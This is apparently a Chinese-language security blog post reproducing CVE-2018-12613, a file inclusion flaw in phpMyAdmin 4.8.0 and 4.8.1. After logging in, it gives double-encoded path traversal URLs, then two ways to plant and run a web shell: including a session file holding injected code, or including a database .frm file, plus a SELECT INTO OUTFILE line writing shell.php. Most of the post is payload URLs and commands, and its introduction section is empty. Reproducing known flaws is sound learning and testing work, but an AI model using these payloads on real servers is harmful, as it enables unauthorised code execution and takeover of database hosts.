002-CVE-2018-12613 Phpmyadmin 远程文件包含漏洞

# CVE-2018-12613 Phpmyadmin 远程文件包含漏洞

### 一、漏洞简介

### 二、漏洞影响

phpMyAdmin 4.8.0和4.8.1受到影响。

### 三、复现过程

首先需要登录phpmyadmin

**payload**

“`bash
http://url/index.php?target=db_sql.php%253f/../../../../../../phpStudy/使用说明.txt
“`

![](/static/lingzu/images/15893346835890.png)

### 写入shell

第一种姿势

1、写入shell,测试语句:

![](/static/lingzu/images/15893346939461.png)

2、查看自己的sessionid(cookie中phpMyAdmin的值)。(或者Bp抓包获取本地的cookie值也可以)

![](/static/lingzu/images/15893347023743.png)

补充代码

如果上述方法不行的话,则用以下代码

“`sql
select ‘‘ into outfile ‘/var/www/shell.php’
“`

3、访问:

“`
http://url/index.php?target=db_sql.php%253f/../../../../../../../../phpStudy/tmp/tmp/sess_20f18hqcr2mc0nmq96vp920r6phc06v3
“`

**第二种姿势**

1、在数据表里面添加一句话(这里一点要用get!)

![](/static/lingzu/images/15893347364301.png)

2、此时会在phpStudyMySQLdata 对应数据库下生成一个frm文件(不同版本路径可能不一样)

![](/static/lingzu/images/15893347456478.png)

3、访问

“`
http://url/index.php?9ouu=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/MySQL/data/9ouu/test.frm
“`

![](/static/lingzu/images/15893347633698.png)

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容